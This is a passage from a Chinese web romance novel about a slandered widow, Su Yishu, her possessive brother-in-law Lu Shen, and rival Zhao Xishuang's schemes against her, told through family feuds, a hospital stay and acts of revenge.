“亦姝,别想了,那种浑蛋不值得。”方思荷担忧地将她送到家,不放心她独处,执意要留下来。
苏亦姝点点头,嗓音沙哑而碎裂。“我先去洗个澡。”
卫生间的门关上,水声哗啦啦响起。
方思荷在客厅里翻着手机,突然,她整个人僵住了。
【陆家豪门少夫人点男模】的新闻虽然在迅速消失,但残存的评论依然肮脏不堪。
低声呢喃着:“这帮杀千刀的!这新闻绝对不能让亦姝看到。要是让我知道是哪个杀千刀的敢这么抹黑我家亦姝,我非撕烂了他不可。”
方思荷气得手都在抖,她立即拨通了自家哥哥方华睿的电话。
“哥,帮我查个事,我要撕烂那个造谣者的嘴!”
打完电话,方思荷发现卫生间的水声已经停了很久,可苏亦姝还没出来。
“亦姝?亦姝你好了吗?”
连敲几下门都没回应,方思荷心头猛地一跳,直接撞门而入。
只见巨大的浴缸里,苏亦姝整个人完全沉在冷水底部,乌黑的发丝像海藻一样散开,遮住了她惨白的脸。
“亦姝!”方思荷尖叫一声,疯了般冲过去将她从水里拽了出来。
“咳咳咳——!”苏亦姝猛地呛出一大口水,肺部剧烈起伏。
“苏亦姝你疯了!就为了那么个畜生你要**?”方思荷抱着她大哭,“你还有我啊,你**我怎么办?”
“就因为那个陆慎,寻死腻活?苏亦姝,你脑袋是不是被驴踢了?多大点事儿?就算你离开了陆家,就算你被陆慎针对,你还有我啊。大不了,我养你一辈子!可是,你为什么要自寻短见……”
方思荷说着说着,带着浓重的哭腔。
她真的是被吓到了。
苏亦姝浑身颤抖,冰冷的水珠顺着睫毛滑落,她眼神涣散地望着天花板,苦笑道。
“我没想死……我只是,想让脑子清醒一点。思荷,水底下很安静,安静得让我觉得……我好像还没被这个世界抛弃。”
“真的吗?”方思荷还是有些不相信,带着浓重的鼻音。
“真的。我还不至于为这么个人就寻死,这不是我的作风。”苏亦姝说着,语气诚恳。“再说了,我还有那么多的事情没做,怎么可能会**?不战而退,这会让我自己唾弃自己。”
“就是嘛,我认识的苏亦姝,可没那么脆弱!”方思荷笑着。
“阿嚏……”苏亦姝打了个喷嚏。
浴缸里的水都冷了。
“你赶紧从里面出来,这样泡下去,就算没死,也得感冒……”说着,方思荷一步三回头地走了出去。
苏亦姝终究还是病倒了。
在冷水里泡了太久,加之心力交瘁,当晚她就烧到了四十度。
凌晨四点的医院走廊,空气中弥漫着刺鼻的消毒水味。
方华睿拎着热可可走过来,看着坐在病房门口一脸憔悴的妹妹,叹了口气。
病房内,苏亦姝安静地躺在雪白的床单上,手背上青筋隐现,那一根细长的输液管正源源不断地向她体内输送着冰冷的液体。
方思荷拍了一张照片。
照片里的苏亦姝憔悴又脆弱,惹人怜。
她发了个朋友圈,配文:【大半夜折腾到现在,心疼我家、宝贝,生病还要被人泼脏水。那些躲在阴暗角落里的鬼,总有一天会被太阳晒死。】
发出去之后,方思荷呼出一口气。
“哥,多亏你在国内,不然,真不知道找谁帮忙了。”方思荷笑着喝了一口热可可。
方华睿看向已经睡着的苏亦姝,然后再看向自己妹妹。
“可以打120。”
方思荷点点头,她也想到了。
“爆料的新闻,已经被人给压下去
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了,现在全网都找不到了。”
“啊?”方思荷拿出手机查看,确实找不到了。“哥,是你压下去的吗?”
方华睿摇摇头。“不是我,估计是陆家人吧,毕竟亦姝现在,也算是陆家人。就是不知道,是谁这么作死。”
“哼,还能是谁?不是那个苏可人,估计就是亦姝的婆婆……”方思荷气呼呼的。
方华睿皱眉。“你说话注意着点,多大的人了,还这么口无遮拦。”
与此同时,还在会所的陆慎,坐在包厢里跟顾从之和陈淮喝着酒。
陈淮喝顾从之都知道他心情不好。
陈淮刷着朋友,看到了方思荷的朋友圈。
“我去,这不是……不是嫂子吗?”陈淮说着,把手机递给陆慎看。
照片里那个脸色惨白、打着点滴的女人,刺痛了他最后的一点防线。
“她……怎么会进医院?”陆慎猛地站起身,因为起得太急,带倒了面前的一排酒瓶。
“陆慎,你冷静点。”顾从之按住他的肩膀,“这时候你过去算什么?她现在最不想见的人,恐怕就是你。”
“我叫你冷静!”
顾从之加重了语气,“你刚才在包厢里对她说了什么,你自己心里没数吗?你拿苏氏威胁她,拿她母亲威胁她,现在又去装什么深情?”
陆慎僵在原地,脸上的血色一点点褪去。
他低头看着自己的手,就是这只手,刚才差点在那间包厢里毁了她。
“我只是想留住她……”
陆慎呢喃着,声音里透着从未有过的颓然和无助,“我除了威胁,不知道还能用什么方式把她留在身边。”
顾从之叹息,“那是你的病,陆慎。但你这病,快把苏亦姝医**。”
陆慎垂着头……
就在这个时候,周轩的电话打来了。
“陆总,照片是有人给钱让会所的服务员拍的,那个服务员不知道对方是谁,只知道给她一大笔钱,让她拍照。我查了那笔钱的汇款地,是国外的账号,而且,账号已经注销了。”
陆慎握着手机的手微微收紧,嘴角嗪着冷笑。
“继续查,不惜一切代价地查!”
与此同时,赵家。
赵西双原本睡着了。
别被电话吵醒。
“什么?苏亦姝跟陆慎在会所?他们在干嘛!”
第四十八章 疯犬的自白
【夜色】顶层包厢,空气中弥漫着烈酒与未散的烟草味,气氛有些压抑。
顾从之和陈淮一左一右,几乎是用尽了浑身解数才将暴躁如雷的陆慎摁回沙发上。
男人领口敞开,锁骨因剧烈的呼吸而起伏,那双猩红的眼底,全是想要毁灭一切的戾气。
“去医院?你现在去就是送死!你死不要紧,别连累苏亦姝啊。”
顾从之低吼,他知道,只要牵扯到苏亦姝的安危他就会有所顾忌。
“程丽梅一直盯着她,你前脚进病房,后脚苏亦姝就能被陆家的唾沫星子淹死!”
就在这时,包厢门被“砰”的一声暴力推开。
赵西双裹挟着满身的寒气和怒火闯入,她目光迅速扫视全场,却在看清屋内只有三个大男人时,原本“捉奸”的气势瞬间凝滞。
没有苏亦姝。
甚至连女人的头发丝都没看见。
顾从之和陈淮对视一眼,眼底划过一丝嘲弄,却很快掩饰过去。
陆慎慵懒地靠在沙发深处,手里晃着半杯残酒,撩起眼皮睨了赵西双一眼。
那眼神,像是在看一个跳梁小丑。
“阿慎……”
赵西双深吸一口气,迅速调整表情,换上一副温婉担忧的面孔。
“我听说你在这边喝多了,特意过来接你回家。”
“回家?”
陆慎轻嗤一声,指尖点了点杯壁,发出清脆的响声。
“赵小姐是以什么身份,来接我回家?”
当着外人的面被如此下脸,赵西双面色一僵,却强撑着笑意。
“我们马上就要订婚了,我是你的未婚妻,照顾你是应该的。”
“未婚妻?”
陆慎像是听到了什么天大的笑话,笑声低沉却刺耳,他猛地起身,逼近赵西双,眼底尽是薄凉的讥讽。
“赵西双,你是多恨嫁?还是多贱?非要上赶着倒贴一个根本不拿正眼看你的男人?”
“陆慎!”
赵西双的伪装终于崩裂,她是众星捧月的赵家千金,何曾受过这种**?
“我是喜欢你!这么多年我为了你放低姿态,甚至不惜讨好你那个刻薄的妈!可你呢?你把我当什么?把我的尊严当什么?”
她眼眶通红,心中无比难堪。
“我就是接到消息,说你和苏亦姝在这里,所以特地过来的!陆慎,你敢说你跟她之间是清白的吗?”
听到“苏亦姝”三个字,陆慎原本嘲弄的神情瞬间消失,取而代之的是一种令人胆寒的阴鸷。
“你想知道?”
陆慎一步步逼近,强大的压迫感让赵西双本能地后退。
“我告诉你——”
“阿慎!”顾从之大惊失色,猛地冲上来想要捂住他的嘴。
陆慎一把挥开顾从之,双目赤红,嘴角勾起一抹疯魔的笑,对着赵西双一字一顿。
“我就是喜欢苏亦姝,怎么了?我想睡她,想娶她,想把她锁在我身边一辈子!听清楚了吗?”
赵西双如遭雷击,整个人僵在原地,大脑一片空白。
“她……她是你嫂子!”她颤抖着唇,几乎是从喉咙里挤出这几个字。
“嫂子又如何?”
陆慎眼底闪烁着偏执的疯狂,声音轻柔得诡异。
“别说是嫂子,就算她是我小妈,老子也照抢不误!”
死寂。
整个包厢陷入了死一般的沉寂。
陈淮手里的酒杯“啪”地掉在地上,摔得粉碎。
“疯了……你是真疯了……”
顾从之脸色惨白,赶紧补救。
“赵西双,他喝多了说胡话!苏亦姝现在是什么处境你不知道吗?寡妇门前是非多,阿慎这是在气你!你难道真信这种鬼话?”
“对对对!”
陈淮也反应过来,急忙附和。
“嫂子为了你们的订婚宴忙前忙后,阿慎这就是纯粹想恶心你,让你知难而退!”
赵西双看着陆慎那双没有任何醉意、只有无尽黑暗的眼睛,心底涌起一股巨大的恐慌。
真的是气话吗?
可那眼神里的占有欲,浓烈得让她心惊肉跳。
但她不能认。一旦认了,她就彻底输了,赵家和陆家的联姻也就完了。
“陆
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慎,你混蛋!”
赵西双狠狠跺脚,转身哭着冲出了包厢。
随着门被关上,顾从之虚脱般跌坐在沙发上,抹了一把冷汗。
“陆慎,你知不知道刚才在说什么?那话要是传出去,苏亦姝会被唾沫星子淹死的!你这是在害她!”
陆慎重新坐回阴影里,仰头将杯中烈酒一饮而尽。辛辣入喉,却浇不灭心头的火。
“害她?”
他低低笑出了声,笑声凄凉而决绝。
“她都要跟我断了,都要把我扔掉了……我还在乎什么?最好全天下都知道我陆慎觊觎自己的嫂子,最好让她名声扫地,除了我身边,她哪也去不了。这样……我们就永远断不掉了。”
顾从之看着眼前这个已经疯魔的好友,只觉得背脊发凉。
这是要拉着苏亦姝一起下地狱啊。
会所外,夜风凛冽。
赵西双擦干眼泪,眼底满是怨毒。
陆慎刚才的话像一根刺,死死扎在她心上。
不管是不是气话,苏亦姝这个女人,都留不得了。
“小姐。”
保镖匆匆走过来,将手机递给她,“您看这个。”
屏幕上,是一则已经被全网**的截图——【陆家豪门少夫人会所点男模,夜会鲜肉!】
照片虽然只是侧影,但赵西双一眼就认出了那是苏亦姝。
“这是什么时候的新闻?”赵西双死死盯着照片,指尖颤抖。
“就在三小时前,爆出来十分钟就被强行压下去了,现在全网都搜不到痕迹。我也是从别人那里截去过来的”
“压下去了?”赵西双冷笑一声,眼底闪烁着兴奋而恶毒的光芒。
能有这种手笔护着苏亦姝的,除了陆慎还能有谁?
好啊,既然陆慎想护着,那她就偏要把这层遮羞布扯下来!
“去,把这张照片发给媒体,既然国内发不了,就发到外网去!还有……”
赵西双盯着照片里苏亦姝那张清冷的脸,语气阴森。
“把这个消息透给陆家的人,我要陆家每一个人,都知道这个消息……”
第四十九章 谁在设局,谁在入骨
翌日一早,陆慎身上酒味未散,就接到了老宅管家的电话。
“三少爷,大少夫人在会所点男模的事情,被老爷子和大夫人他们知道了,现在,大夫人在大厅跟老爷子说这事,非常生气。”
陆慎握着手机的手紧了紧。
“那爷爷什么态度??”
“老爷子没说话,但是看样子,似乎也很不高兴。”
“好,我知道了。”
挂了电话,陆慎又接到了周轩的电话。
“陆总,苏小姐点男模的新闻,在外网传开了……”
陆慎眯了下眼睛,看来,有人冲着苏亦姝来的。
“想办法查清楚,是从哪里传出去的,又是谁传的?以最快的速度查清楚。”
“是。”
陆慎从别墅出来,上了车,直奔老宅而去。
此时的陆家老宅,本该宁静,此刻却像一个被点燃的**桶。
程丽梅满脸怒意,浑身止不住地颤抖。
“爸,您看看,这简直是把我们陆家的脸扔在地上踩!苏亦姝作为我陆家长媳,阿钦这才去世多久,就跑去点男模,这要是传开了,我陆家的面子往哪搁?”
陆子谦夫妇和陆域坐在一旁没说话,但是脸上的幸灾乐祸如出一辙。
“爸,我看,直接把苏亦姝赶出去,免得她牵连了我陆家!”
这话一出,柯沁脸上一喜,但又不敢表现的太明显。
端起茶杯,一边慢条斯理地吹着茶沫,一边阴阳怪气地火上浇油。
“大嫂说得对,亦姝这孩子平时看着清冷端庄,没想到背地里野性这么大。爸,这名声受损是小,若是让旁人觉得我们陆家没规矩,那才是大事。”
陆老爷子始终闭目养神,手里盘着的核桃发出沉闷的碰撞声。
程丽梅白了柯沁一眼,还真以为她看不出她的想法来?
哼!
一想到苏亦姝,程丽梅心底就抑制不住的怒火。
这个女人,真是贱。勾引她两个儿子不说,还在外面玩那种人……
“爸,这件事确实是儿媳的错,没有教导好亦姝。所以,儿媳想请把准备,把苏亦姝赶出陆家。阿钦已经去世了,我不想他**,名声还要被苏亦姝给玷污了……”
“既然知道是你的错,怎么还好意思赶走大嫂?”陆慎从外面进来。
由于通宵未眠,他眼底布满了细碎的血丝,整个人透着一股野兽般的戾气。
看到陆慎,程丽梅脸上表情一滞。
“阿慎,我知道你敬重亦姝这个嫂子,但是这件事,怎么说都是她的错……”程丽梅的态度很坚持。
陆慎冷笑了一声,跟老爷子打了声招呼,长腿一迈,姿态张狂地坐在了老爷子对面。
老爷子看向陆慎,说道:“阿慎,既然你回来了,那你就这件事,怎么定夺?”
“这件事,无中生有!”陆慎双腿交叠,姿态肆意。
陆子谦看向陆慎,冷哼一声。“照片都曝出来了,怎么就无中生有?陆慎,你这偏袒的有些过分了。”
“这件事,在昨晚被曝出来后,我在十分钟之内就压下去了,全网找不到一张照片,但是为何,你们一早就收到了这消息?”陆慎看着他们,目光最后落在老爷子身上。
老爷子瞬间就明白了陆慎这话的意思。
陆慎拿出手机来,他来的路上,就让陈淮把方思荷昨晚的朋友圈截图发给他了。
他拿着手机递给老爷子。
“爷爷,这是昨晚方家大小姐发的朋友圈。苏亦姝昨晚因为高烧昏迷,凌晨三四点就被送进了抢救室。那些所谓‘寻欢作乐’的照片,不过是有人存心借着角度和光影在那儿无中生有。”
老爷子审视着照片里那个面色惨白如纸、打着点滴的孙媳妇,又看了看陆慎那副随时准备咬人的疯狗样,最后淡淡开口。
“老大家的,这事儿,到此为止。再有人拿这种事坏家里名声,直接家法处置。”
说罢,老爷子拂袖而去。
看到老爷子就这么离开了,不仅是程丽梅不甘心,二房那三人,也是一脸不甘心。
“阿慎,你这是什么意思?”程丽梅看向陆慎,一脸恼怒。
陆慎看向程丽梅,冷笑。“妈,你这是生怕别人不知道你这么不待见自己的大儿媳妇?先是带着小三在自己儿子葬礼上为难儿媳妇,现在又闹出这出……我相信不到一小时的时间,你这事迹就能传遍整个江城!”
程丽梅脸色一僵!
上次葬礼上的事情,她确实没考虑好,若不是陆家出面压下那些流言蜚语,指不定那些人怎么传……
“那这件事,不能就这么算了……”程丽梅不甘心就这么算了。
陆慎面色阴沉,脸上的表情,让在场的人看着有些心慌和畏惧。
“这件事,确实不能就这么算了……”敢算计苏亦姝,活腻了!
听到陆慎这话,程丽梅这才放心了些。
就知道,在家族荣辱面前,她这个儿子还是分得清的。
只是,陆慎却缓缓站起身,走到她跟前,压低声音,语气森冷。
“妈,别再动她。你折腾死她,我真的会发疯。”
程丽梅顿时脸上表情十分精彩,最后华为一脸愤怒和阴森。
江城私人医院,特护病房。
苏亦姝靠在床头,那张原本惊艳的脸蛋如今透明得像薄纸。
她看着方思荷忙前忙后地照顾她,心底才泛起一丝真实的暖意。
“思荷,我想出院。”苏亦姝苦笑着,声音依旧虚弱。
方思荷立即拒绝。
“想都不要想,医生说了,你这情况,现在还发着低烧,得留院治疗观察。这要是一个弄得不好嘎掉了,抢
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救都来不及……”
苏亦姝:……
想到昨晚的事情,苏亦姝的内容已经没那么激动了。
“那你先回去休息吧,昨晚你也没睡好……”想到自己姐妹照顾了自己一晚上,她内心很是感动。
“你在说什么呢?我这个时候丢下你一个人回去休息?我还是人吗?苏亦姝,你就给我好好躺着休息,让你的脑子也休息休息,别再折腾它了……”方思荷给她盛了一碗稀饭。“来,我喂你吃……”
“别,我自己来……”苏亦姝撑着坐起来。但是浑身无力……
“别动,我来摇床……”说着,方思荷把床摇起来,让她靠着。
苏亦姝接过来碗,吃了两口,就吃不下了。
看到她把稀饭放到了一边,方思荷立即说道:“你不吃饭,身体怎么恢复?赶紧再多吃两口,晚点我让家里阿姨给你煲点汤,再让我哥哥送过来。”
“别麻烦你哥哥了……”一想到昨晚方华睿帮忙送她来医院的,她心里就过意不去。
“我哥就是你哥,不用客气……”方思荷并不在意。
苏亦姝准备说话,这个时候,房间门被推开了。
看到进来的人,苏亦姝的脸上的笑容瞬间消散。
方思荷看过去,在看到来人,脸色也冷下来了。
陆慎手里拎着保温桶进来了。
“陆慎?”
方思荷瞬间炸毛,像护小鸡一样挡在床前。
“你来干什么?嫌害她害得不够惨?我告诉你,有我在,你别想再碰她一个指头!”
陆慎微微蹙眉,有些不悦。
他极度反感外人插手他和苏亦姝之间的事,但看在方思荷守了苏亦姝一夜的份上,他强压下火气。
声线低哑地说道:“你回去,我来照顾她。”
方思荷冷笑,“你照顾?你是想照顾她,还是想掐死她?陆慎,做人得要脸。你都要跟赵西双订婚了,跑来这儿献什么殷勤?”
苏亦姝始终没看陆慎,她只是盯着虚空中的某一点,语气平静得可怕。
“思荷,让他走,我不想见到他。”
陆慎握着保温桶的手骨节突起。
他绕过方思荷,一步步走到病床前,声音里带着一种病态的温柔和执拗。
“我带了你最喜欢的陈记皮蛋瘦肉粥,趁热喝。”
“陆慎,你听不懂人话吗?”苏亦姝终于转过头,眼神里没有恨,只有一种死水般的沉寂。
陆慎俯下身,黑影将她整个人笼罩,他用只有两人能听到的声音,卑微却又疯狂。
“苏亦姝,只要你乖乖治病,苏氏我帮你。你要男人,我给你,但我说了,只能是我。你想让方华睿送汤?别让他送了,我怕他在半路上出意外。”
“你……”苏亦姝气得胸口剧烈起伏,手背上的回血瞬间染红了输液管。
第五十章 雷霆反击,剥皮抽筋
病房内的空气粘稠而冰冷。
陆慎盯着那截迅速回流的红色血液,瞳孔皱缩成一个惊惧的点,那是他第一次在苏亦姝面前感到手足无措。
“苏亦姝,我说了,给我好好治疗!”他低吼着,声音里藏着不易察觉的轻颤。
苏亦姝看向他的眼神却染上了一抹疯狂。
她毫无征兆地抬手,指尖猛地扣住手背上的透明胶带,利落地一把拔掉了输液针头!
“滋——”的一声,细小的血珠顺着针眼瞬间溢出,溅在雪白的床单上,触目惊心。
陆慎的脸色彻底僵住,浑身戾气因这一滴血而溃不成军。
“陆慎,你可以试试看。若是真如此,那我就陪着他一起!”苏亦姝冷冷地看着他,下颌线条紧绷。
陆慎整个人被暴躁与恐慌紧紧包裹。
他双眼死死盯着她,看着她苍白的唇色和眼底那种视死如归的冷意,心脏痛得几乎无法呼吸。
他知道,她说的都是真的。
最终,这个在商场上屠戮四方的男人垂下了头,哑着嗓子妥协了。
“昨晚的话……是我的错,我道歉。你别折腾自己了,好不好?”
苏亦姝依旧没说话,只是冷冷地别过头去,连一个余光都不屑施舍。
陆慎心如刀绞,转头对方思荷厉声喝道:“还不去叫医生来重新打点滴!”
方思荷原本想刺他几句,可见苏亦姝手背还在冒血,咬咬牙跑了出去。
陆慎看着苏亦姝,双眼溢出脆弱和无奈。苏亦姝,我拿你该怎么办?
陆慎的嗓音中带着一丝颤抖,“我走就是,但你要好好治疗,别闹脾气了……好不好……”
苏亦姝依旧没说话,闭上了眼睛。
看着她冷漠的神色,陆慎自嘲一笑。
很快,方思荷带着医护人员进来了。
陆慎看到苏亦姝的手背重新打上了点滴,这才离开。
只不过,在离开之前,对方思荷说道:“麻烦……好好照顾她,想办法,让她吃点东西。”
说完,在方思荷略显惊讶的目光中离开。
在陆慎和医护人员都离开了,方思荷这才没好气地说道:“切,还用他交代,搞得自己好像好人一个……”
苏亦姝没说话,眼底划过一抹深重的讥讽。
陆慎走出医院,满身寒气让周遭的温度都降了几分。
他坐进车后座,周轩立刻低声汇报。
“陆总,外网的消息查清楚了,发帖人非常隐蔽,在发出去之后直接注销了IP,很难追踪。但是……”
周轩顿了顿,语气沉重,“老宅那边收到消息,是赵西双安排人透露过去的。”
说完,周轩从后视镜小心翼翼地看了眼陆慎的脸色。
陆慎的脸隐在阴影里,阴沉得可怕。
其实,不用查他也猜到了,在这江城,敢这么算计苏亦姝又如此了解老宅动向的,除了赵西双没别人。
“既然赵西双找死,那就让她尝尝自食恶果的后果……把赵家在海外的那批货,让豹子截了。”
周轩心头一凛,这可是动了赵家的根基。
陆慎眼底掠过一抹狠辣,“现在去通知昌盛集团,项目归他们了。另外,把赵冬在外面养情人和私生子的证据,原封不动地捅给外网媒体。赵家不是喜欢这种‘豪门丑闻’吗?我送他们一份大的。”
赵冬是赵西双的父亲,也是赵家未来的继承人人选。
赵老爷子向来古板,一旦私生子的事曝光,赵冬会被立刻踢出核心层,赵西双作为长女的地位也将一落千丈。
赵家老爷子有四子一女,赵冬是长子,只有赵西双一女。老二赵南,有一儿一女,儿子赵麟鹰在赵家集团任职,女儿赵琳莉在国外上学。老三赵腾有一子,叫赵开宣,也在赵家集团任职,老四赵勤还未成家,是个风流公子哥。女儿已经嫁到国外去了。
老爷子早些年就说了,在赵家,不分男女,能者居之。
所以,赵西双能力出众,在赵家的地位,还是不错的。
赵家海外那批货,就是赵西双在管理,而南城的项目,也是因为跟陆家联姻,准备联手拿下。至于赵冬养情人和私生子的事情,直接威胁到了赵西双在赵家的地位。
这三件事,无一不是在剥赵西双的皮,抽赵家的筋。
周轩在心中不禁感慨,陆总为了苏小姐,果然是什么都做的出来啊。这赵西双,这次真是踩到**了!
就在陆慎布下杀局的同时,赵家老宅内,赵西双正得意地看着手机。
“苏亦姝,我看你这次还怎么翻身。”
她抿了一口红酒,心情畅快。只要老爷子施压,陆慎就算再疯,也不敢冒着家族**的风险去保一个名声扫地的寡妇。
然而,不到一小时,她的美梦就被一个急促的电话惊醒。
“小姐!出事了!我们在公海的那批货……被豹子的人劫走了!对方指名道姓说,这是替人还礼!”
“什么?!”赵西双猛地站起身,“那批货值五百个亿!敢劫我赵家的货,谁给豹子的胆子?”
就在这时,赵西双的母亲胡梅哭着跑进来了。
“西双,你父亲……父亲他竟然在外面养情人,还有一个快要成年的私生子!你说我该怎么办啊?”
“什么?”赵西双一脸震惊。“怎么回事?”
“这件事,网上都传开了,你爷爷也知道了,现在正在大厅大发脾气!”
赵西双立即拿手机查看,只见头条赫然是:【赵氏继承人金屋藏娇二十年,私生子快要成年,图谋夺嫡?】
赵西双眼前一黑,几乎站立不稳。
怎么会这样?
“你赶紧下去看看啊……你爷爷他,要打死你爸爸……”
赵西双顾不得其他,立即跑了下去。
赵家正厅,众人都在,一个个大气都不敢喘。
赵老爷子铁青着脸坐在首位,手中的拐杖狠狠地戳在地板上
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,发出沉重的闷响。
赵冬跪在地上,冷汗浸透了衬衫,哪还有平日里赵家大爷的威风。
“爷爷……”赵西双跌跌撞撞地冲进来,眼前的场景让她心惊肉跳。
“别叫我爷爷!”
赵老爷子猛地抓起茶几上的报纸甩在赵西双脸上,怒喝道,“你管的好货,在公海上被人劫了,那是赵家整整五百个亿的现金流!你父亲更有本事,瞒着我在外面养了二十年的种,你是嫌我赵家活得太长了,非要闹出这种丑闻让全江城看笑话吗?”
“爷爷,这是陷害!”赵西双脸色惨白,尖声辩解。
“陷害?”
赵老爷子冷笑一声,眼神如刀。
“苍蝇不叮无缝的蛋!陆家那边刚刚传来消息,南城的项目已经和昌盛集团签了约。赵西双,你不是口口声声说陆慎一定会娶你,陆家一定会拉扯我们赵家吗?这就是你给我的交代?”
赵西双张了张嘴,喉咙像被堵住了一般,一个字也吐不出来。
她机关算尽,想用**逼死苏亦姝,却没想到陆慎的反击会如此釜底抽薪,每一招都精准地切断了她的退路。
而在赵家乱成一团的时候,医院里的苏亦姝正盯着窗外渐渐暗下来的天色出神。
“亦姝,陆慎那家伙居然真的没再过来了,连保镖都撤远了些。”
方思荷推门进来,手里提着刚熬好的鱼汤,“看来他这次是真的被你吓到了。”
苏亦姝接过汤,垂下的眼睫遮住了眼底复杂的情绪。
她知道,陆慎不是怕了,他只是在用另一种方式裹挟着她罢了。
“思荷,帮我联系周轩。”苏亦姝喝下一口汤,声音平静得不带一丝涟漪。
方思荷一愣:“你要做什么?”
“苏氏集团。”苏亦姝放下碗,目光冷冽,“陆钦留下的那笔遗产里,有一份关于苏氏原始股份的对赌协议。既然陆慎觉得可以用苏氏拿捏我,那我就让这苏氏,彻底变个姓。”
就在苏亦姝暗中筹划之时,陆氏集团顶层的总裁办公室内,陆慎站在巨大的落地窗前,俯瞰着江城的夜景。
“陆总,赵家那边已经分崩离析,赵老爷子打算收回赵西双的全部权限,赵冬也被踢出了董事会。”周轩恭敬地汇报着。
陆慎抿了一口手中的烈酒,辛辣的感觉在喉间散开,却抵不上他心尖那抹酸涩。
“她吃东西了吗?”陆慎问。
“苏小姐……喝了方小姐带去的汤,心情似乎好了一些。”
周轩犹豫了一下,补充道,“不过,苏小姐刚才联系了我,想要查看陆钦先生留下的那份对赌协议。”
陆慎握着酒杯的手指微微收紧,唇角勾起一抹自嘲的弧度。
即便病成那样,不惜要和他同归于尽,她醒来的第一件事,还是想着如何逃离,如何拥有足以与他抗衡的筹码。
“给她。”陆慎闭上眼,声音沙哑,“她想要什么,都给她。”
第五十一章 诛心的道歉
擎天集团,总裁办。
陆慎刚挂断关于赵家股市崩盘的电话,办公室的门就被敲响。
周轩走了进来,说道:“陆总,赵西双赵小姐来了,在楼下,说,想见你。”
陆慎脸上没有任何表情,冷声说道:“让她上来。”
没多久,赵西双走了进来。
她没有像陆慎预想的那样歇斯底里,也没有带着保镖来**。
相反,她卸掉了平日里那股凌厉的傲气,穿了一身素净的白色套装,脸上未施粉黛,眼眶微红,整个人看起来脆弱又极具教养。
赵西双站在办公桌前,声音轻轻柔柔,带着一丝颤抖,“阿慎。我是来道歉的。”
陆慎靠在椅背上,手里转着钢笔,眼神玩味且冰冷。
“道歉?赵小姐这又是唱哪一出?赵家都被我搞得半死不活了,你不拿着刀来捅我,反而来道歉?”
赵西双深吸一口气,像是受了天大的委屈却在隐忍。
“我知道你生我气,昨晚是我鲁莽了,但是,我是真的爱你。”
“若是你来就为了说这个,那你可以走了……”陆慎脸色冰冷。
赵西双一愣,立即说道:“不是……我也问了,关于亦姝姐外网照片的事……真的不是我发的。当时我和几个闺蜜在吐槽,没有多想。但我那个闺蜜为了替我出气,擅自发到了外网。我已经狠狠骂过她了,也跟她绝交了。”
她抬起头,眼泪要掉不掉,精准地拿捏着分寸。
“阿慎,我知道你护着亦姝姐,我也知道我嫉妒她有你护着。但我从小接受的教育不允许我做这种毁人名节的下作事。这次是我御下不严,连累了赵家,也让你生气了。我不求你原谅,只求你……别因为我的错,毁了两家几代人的交情。”
陆慎看着她这副惺惺作态的样子,冷嗤一声。
“赵西双,你这演技,不去演戏可惜了。”
赵西双走上前,将一份文件放在桌上。
“我是认真的。这是我手里赵氏百分之五的股份,我愿意无偿转让给你,作为给亦姝姐的赔礼。但我求你,能不能先收手?爷爷他……快气晕过去了。”
陆慎扫了一眼那份价值连城的股权转让书,眼底划过一丝诧异。
够狠!
为了保住婚约,为了留在他身边,竟然不惜割肉喂狼。
“股份我收了。”陆慎将文件丢给周轩,站起身逼近赵西双,语气森寒,“但婚约的事,没得商量。滚。”
赵西双垂在身侧的手死死掐进肉里,面上却露出一抹凄楚的笑。
“好,只要你消气,我这就滚。”
她转身离开,在那扇门合上的瞬间,脸上的柔弱瞬间消失,取而代之的是令人胆寒的怨毒。
想甩开我?陆慎,你拿了我的肉,这辈子都别想吐出来。
搞定了陆慎这边的“态度”,赵西双转头就去了陆家老宅。
这一次,她没有找陆老爷子哭诉,而是直接跪在了程丽梅面前。
“伯母,都是我的错。”赵西双跪得笔直,眼泪大颗大颗往下掉。
“是我没管好身边的朋友,让她们把亦姝姐的照片发了出去,害得陆家名誉受损,也害得阿慎生了这么大的气,甚至……甚至为了替亦姝姐出气,差点搞垮了赵家。”
程丽梅原本还在因为外网的事生气,一看赵西双这副样子,心里的火顿时消了一半,取而代之的是对儿子的不满和对苏亦姝的憎恶。
“快起来!这怎么能怪你?”程丽梅心疼地扶起赵西双。
“那照片本来就是事实!苏亦姝自己不检点,还不让人说了?阿慎也是糊涂,为了那个女人,竟然对赵家下这么重的手!”
“伯母,您别怪阿慎。”
赵西双擦着眼泪,以退为进。
“阿慎也是重情义,毕竟亦姝姐刚没了丈夫。我受点委屈没关系,只要阿慎能消气,只要陆家和赵家的婚约还在……我愿意去给亦姝姐斟茶认错。”
一直在旁边盘核桃的陆老爷子此时睁开了眼。
他看着赵西双,眼底闪过一丝精光。
,老爷子缓缓开口,“西双啊难为你了。阿慎那边我会去说,婚约照旧。至于你说的去给亦姝道歉……这是应该的,毕竟这件事,归根结底是你惹出来的。”
“是,爷爷。”赵西双低眉顺眼地应下,嘴角却在无人看见的角度勾起一抹得逞的冷笑。
医院,特护病房。
苏亦姝正在翻看陆钦留下的那份对赌协议,病房门被轻轻敲响。
赵西双捧着一束极其昂贵的百合花走了进来,身后还跟着两
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个佣人,拎着大包小包的补品。
“亦姝姐,身体好些了吗?”赵西双笑意盈盈,仿佛之前的一切都没发生过,她甚至自然地将花插在床头的花瓶里。
苏亦姝合上文件,冷眼看着她表演。
“赵小姐怎么来了?”
关于照片的事情,她还不知情。因为新闻一出来,就被陆慎给强力压下去了。后面往外照片以及陆家的事情,也没人告知。
“我是来道歉的。”赵西双挥退了佣人,拉过椅子坐在床边,姿态优雅得像是在参加茶话会。
“昨天那张照片,是我一个不懂事的闺蜜发的,我已经教训过她了。亦姝姐,你大人有大量,别跟那种小人计较。”
苏亦姝有些疑惑。
“什么照片?”
赵西双故作惊讶地捂住了嘴,眼神里闪过一丝恰到好处的诧异。
“哎呀,看来阿慎把你保护得真好,这么大的事情,竟然一点风声都没透给你。”
她一边说着,一边打开手机,翻出那张截图递到苏亦姝面前。
由于她此刻摆正了道歉的姿态,所以动作显得有些小心翼翼。
“其实也没什么,就是那晚你在会所……大概是角度问题,被人拍到有些暧昧,传到了外网上。虽然只是个侧影,但熟悉的人一眼就能认出来。”
苏亦姝垂眸,看着屏幕上那张自己在昏暗灯光下被男模围着的照片,指尖微微一颤。
那晚的记忆如潮水般涌回,伴随着陆慎那双暴戾如困兽的眼睛。
原来,昨晚他那样的疯狂,是因为这张照片。
“亦姝姐。”赵西双收回手机,叹了口气,语气里充满了真诚的歉意。
